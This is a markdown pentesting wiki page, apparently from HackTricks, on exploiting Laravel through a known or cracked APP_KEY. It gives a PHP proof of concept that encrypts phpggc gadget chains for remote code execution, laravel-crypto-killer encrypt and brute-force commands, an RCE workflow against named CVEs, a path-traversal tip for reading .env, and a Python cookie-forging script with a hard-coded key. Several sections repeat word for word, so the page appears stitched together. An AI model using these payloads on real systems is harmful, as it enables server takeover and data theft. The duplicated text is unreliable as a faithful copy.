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286 lines
13 KiB
Markdown
286 lines
13 KiB
Markdown
# Laravel
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{{#include ../../banners/hacktricks-training.md}}
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### Laravel SQLInjection
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Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
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The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
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`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
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Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
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---
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## Real-world vulnerable patterns
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| Project | Vulnerable sink | Gadget chain |
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|---------|-----------------|--------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
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The exploitation workflow is always:
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1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
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2. Generate gadget with **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Deliver payload through the vulnerable parameter/cookie → **RCE**
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---
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## Mass APP_KEY discovery via cookie brute-force
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Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
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Key findings of the research published by Synacktiv (2024-2025):
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* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
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* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
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* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
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* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
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The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
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---
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## References
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* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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## Laravel Tricks
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### Debugging mode
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If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
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For example `http://127.0.0.1:8000/profiles`:
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.png>)
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This is usually needed for exploiting other Laravel RCE CVEs.
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### .env
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Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
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Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).
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Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:
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### Decrypt Cookie
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```python
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import os
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import json
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import hashlib
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import sys
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import hmac
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import base64
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import string
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import requests
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from Crypto.Cipher import AES
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from phpserialize import loads, dumps
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#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
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def mcrypt_decrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.decrypt(value)
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def mcrypt_encrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.encrypt(value)
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def decrypt(bstring):
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global key
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dic = json.loads(base64.b64decode(bstring).decode())
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mac = dic['mac']
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value = bytes(dic['value'], 'utf-8')
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iv = bytes(dic['iv'], 'utf-8')
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if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
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return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
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#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
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return ''
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def encrypt(string):
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global key
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iv = os.urandom(16)
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#string = dumps(string)
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padding = 16 - len(string) % 16
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string += bytes(chr(padding) * padding, 'utf-8')
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value = base64.b64encode(mcrypt_encrypt(string, iv))
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iv = base64.b64encode(iv)
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mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
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dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
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return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
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key = base64.b64decode(app_key)
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
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```
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### Laravel Deserialization RCE
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Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
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Here you can find information about the deserialization vulnerability here: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
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You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
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Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec`
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### CVE-2021-3129
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Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
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### Laravel SQLInjection
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Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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### Laravel SQLInjection
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Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
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The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
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`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
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Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
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---
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## Real-world vulnerable patterns
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| Project | Vulnerable sink | Gadget chain |
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|---------|-----------------|--------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
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The exploitation workflow is always:
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1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
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2. Generate gadget with **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Deliver payload through the vulnerable parameter/cookie → **RCE**
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---
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## Mass APP_KEY discovery via cookie brute-force
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Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
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Key findings of the research published by Synacktiv (2024-2025):
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* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
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* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
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* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
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* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
|
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The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
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---
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## References
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* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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{{#include ../../banners/hacktricks-training.md}}
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